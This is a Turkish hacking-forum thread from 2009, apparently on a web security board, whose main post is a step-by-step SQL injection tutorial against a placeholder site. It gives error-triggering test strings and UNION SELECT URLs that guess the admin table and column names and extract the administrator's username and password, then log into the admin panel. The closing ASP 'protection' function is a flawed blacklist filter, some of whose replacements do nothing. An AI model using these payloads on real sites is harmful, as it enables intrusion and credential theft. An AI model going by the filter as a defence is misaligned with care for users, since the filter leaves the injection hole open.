İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

temel SQL

04-06-2009 13:52
#1
atlas_tr - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2008
Nereden:
NErDe OLsam BEğeNİRsin
Mesajlar:
2.383
Teşekkür (Etti):
19
Teşekkür (Aldı):
189
Konular:
389
Ticaret:
(0) %
En basit ifadeyle; SQL bir Programlama Dili, SQL Injection ise bu dil ile yazılmış veritabanlarından bilgi enjekte etmeye denir. SQL hakkında basit ve ileri düzey bir çok döküman olmasına rağmen, asıl olan temelden ne yaptığını bilerek gitmek fikrinde olduğum için konuyu en basitinden anlatıyorum. Şunuda açıklamakta fayda var. Genelde SQL Injection açığı yalnızca asp dilinde kodlanmış sitelerde olur diye düşünülür Oysa SQL injection Atakları Asp , Php , Cgi Üzerinde de Olabilir.

Peki SQL Attack için sitedeki hangi bölümleri kullanabiliriz. ID değerleri, Arama Bölümü, Haber Bölümü,Login Paneli vs vs...

Bir sitede SQL açığı olup olmadığını Yukarıda verdiğim alanlara SQL hata kodlarını verdirerek öğrenebilirsiniz. Normalde hatasız çalışan sitenin nasılda masum olmadığını görüceksiniz. Örneğin bir sitenin haber bölümünün ID sine geldiniz. Genel SQL INjection açığı olup olmadığını sorgulayan kodlar şunlardır:


’or’
-1
1=1
’or"1=1’
heavy 1=1


Bu değerlerle hata verdirebiliriz...Herhangi bir sitenin haber bölümüne girip ıd= değerine bu hata kodlarını deneyelim.

evet SQL in kafası karıştıysa şuna benzer bir hata msjı alırsınız.
Kod:
ADODB.Field error ’80020009’
Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record. /script/hataolandosya.asp, line 0

Bu hata bize bende SQL Injection uygulayabilirsin diyor
Şimdi SQL Dilindeki temel kodları kullanarak SQL deki önce tablo ve Kolon isimlerini daha sonrada bu tablodaki ilk şahıs olan admin kardeşimizi ve şifresini öğreneceğiz. Bu bölümde kullanılan temel kodlar ise şunlardır:

UNION = SQL injectiondaki deneme yapacağımız kodları birlikte Kullanmak için SQL de kullanılan kod
SELECT = SQL de Seçmek
FROM = tablonun yolu
WHERE = Nerede

Kullanımı :

UNION SELECT kolon FROM tablo

Şimdilik Bunları Kullanacağız...ben her aşamadaki farklılıkları kolay anlamanız için renklendiriyorum.Bu kodlardaki amaç SQL e bir emirde bulunmak. En basit tabirle bana şu bölümden şunu getir diyeceğiz.

http://www.hedefsite.com/script/?x=2&haber=11&id=-1/ B UNION SELECT 0,1,2 FROM uye


Yazdık ve SQL e dedik ki Database de ID Değeri -1 olan veri den bize uyeler tablosunda 0,1,2 Nolu Kolonları göster. Eğer tablo adı yanlış ise karşımıza şöyle bir hata mesajı çıkacak

Microsoft OLE DB Provider for ODBC Drivers error ’80040e37’
Kod:
[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine cannot find the input table or query ’uye’. Make sure it exists and that its name is spelled correctly. /script/hatalıolandosya.asp, line 121
The Microsoft Jet database engine cannot find the input table or query ’uye’.

Yani üye adında bi tablo yok.sallama kardeşim diyor


Hemen tablo Adı değiştiriyoruz. işte bundan sonrası sizin zekanızla emeğinize kalmış tutturana akdar deneyeceğiz. Mesela uye yerine uyeler, uyelerimiz, admin, yonetim vs yazabilirsiniz.

örneğin ben admin yazdım.

http://www.hedefsite.com/script/?x=2&haber=11&id=-1/ B UNION SELECT 0,1,2 FROM admin

Eğer tutturduysak
Kod:
Microsoft OLE DB Provider for ODBC Drivers error ’80004005’
[Microsoft][ODBC Microsoft Access Driver] The number of columns in the two selected tables or queries of a union query do not match. /script/hatalıolandosya.asp, line 121
The number of columns in the two selected tables or queries of a union query do not match.

Yani Tablo adını Tutturdun diyor.Sıra geldi Kolon Sayısı ve isimlerini bulmaya...

Evet Biz Kolon Sayısını ne yapmışız ? 0,1,2 Yane 3 adet kolon yazmışız... Demekki Databasedeki Admin tablosu 3 den fazla kolon sayısı barındırıyor...aralara virgül ko***** çoğaltıyoruz.

0,1,2,3,4,5,6, ’ya kadar olan Kolon Sayısında bize hep "The number of columns in the two selected tables or queries of a union query do not match " hatasını verdiriyor yane Daha da yüksek bir kolon sayısı var. Kodumuzun son hali ne oldu bu arada :

http://www.hedefsite.com/script/?x=2&haber=11&id=-1/ B UNION SELECT 0,1,2,3,4,5,6,7 FROM admin

7 de tutturduk kolon sayısını Ve entera bastıktan sonra artık bize Tablo açılmış oluyor ve üzerinde
Kod:
Microsoft OLE DB Provider for ODBC Drivers error ’80004005’
[Microsoft][ODBC Microsoft Access Driver] Cannot update. Database or object is read-only. /script/hatalıolandosya.asp, line 121
Yani tabloyu buldun ama ben sadece okunurum işlem yapamazsın diyor.Bizde zaten işlem yapmayacağız sadece şifreleri okuyacağız.

Sayı olarak verdiğimiz Kolon Sayısını bu sefer isimlerini buluyoruz...Herşey olabilir ama En mantıklılarını kullanalım biz...Mesela Siz bir programcı olsanız en baş kolon ne olur ? ID değeri

o zaman
Kod:
http://www.hedefsite.com/script/?x=2&haber=11&id=-1/ B UNION SELECT id,1,2,3,4,5,6,7 FROM admin
şimdi ikinci Tablo adını bulalım.Bu da yabancı sitelerde user, Türk sitelerinde Kullanıcı adıdır genelde. çünkü databaselerde genel olarak id user pass ikilemi kullanılır. Bizde kullanalım o zaman
Kod:
http://www.hedefsite.com/script/?x=2&haber=11&id=-1/ B UNION SELECT id,kullanici_adi,2,3,4,5,6,7 FROM admin
Ve biliyorsunuz ilk sırada genelde adminler olur ki öyleyse karşımıza tabloda en üst kısımda Admin yazdığını görürüz. Aynı mantıkla sıra şifresinde. Şimdi üçüncü Kolonu bulalım. Eminim siz benden önce yazmışsınızdır bile.

Kod:
http://www.hedefsite.com/script/?x=2&haber=11&id=-1/ B UNION SELECT id,kullanici_adi,sifre,3,4,5,6,7 FROM admin
işte şifrenin yazdığını görüyoruz...Ve attağımız başarı ile sonuçlanıyor... Admin panelinin yolunuz bulup bulduğumuz kullanıcı adı ve şifre ile giriyoruz.


Peki SQL injectiondan Asp De nasıl Korunuruz ?

Bir Asp sayfası oluşturup içine bu kodları yazarak kaydedin...

Private Function KodTemizle(strInputEntry)
strInputEntry = Replace(strInputEntry, " ", "")
strInputEntry = Replace(strInputEntry, "../", "")
strInputEntry = Replace(strInputEntry, "<", "&lt;")
strInputEntry = Replace(strInputEntry, ">", "&gt;")
strInputEntry = Replace(strInputEntry, "(", "")
strInputEntry = Replace(strInputEntry, ")", "")
strInputEntry = Replace(strInputEntry, """", "", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "=", "=", 1, -1, 1)
strInputEntry = Replace(strInputEntry, ";", "", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "’", "’", 1, -1, 1)
strInputEntry = Replace(strInputEntry, ",", "", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "select", "select", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "union", "union", 1, -1, 1)
strInputEntry = Replace(strInputEntry, "’","",1,-1,1)
strInputEntry = Replace(strInputEntry, "Chr(34)","",1,-1,1)
strInputEntry = Replace(strInputEntry, "Chr(39)","",1,-1,1)
KodTemizle = strInputEntry
End Function


ve istediğiniz sayfaya include edin...
Kullanıcı İmzası

14-09-2009 18:09
#2
n3ron - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
09/2009
Mesajlar:
1
Teşekkür (Etti):
0
Teşekkür (Aldı):
0
Konular:
0
Ticaret:
(0) %
Saol kardeş Çok Güzel anlatmışın ancak verdiğğin örnekteki : http://www.hedefsite.com/script/?x=2&haber=11&id=-1"/ B" UNION SELECT 0,1,2 FROM uye

/B ksımını anlayamadım lütfen açıklayabilirmisiniz....

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı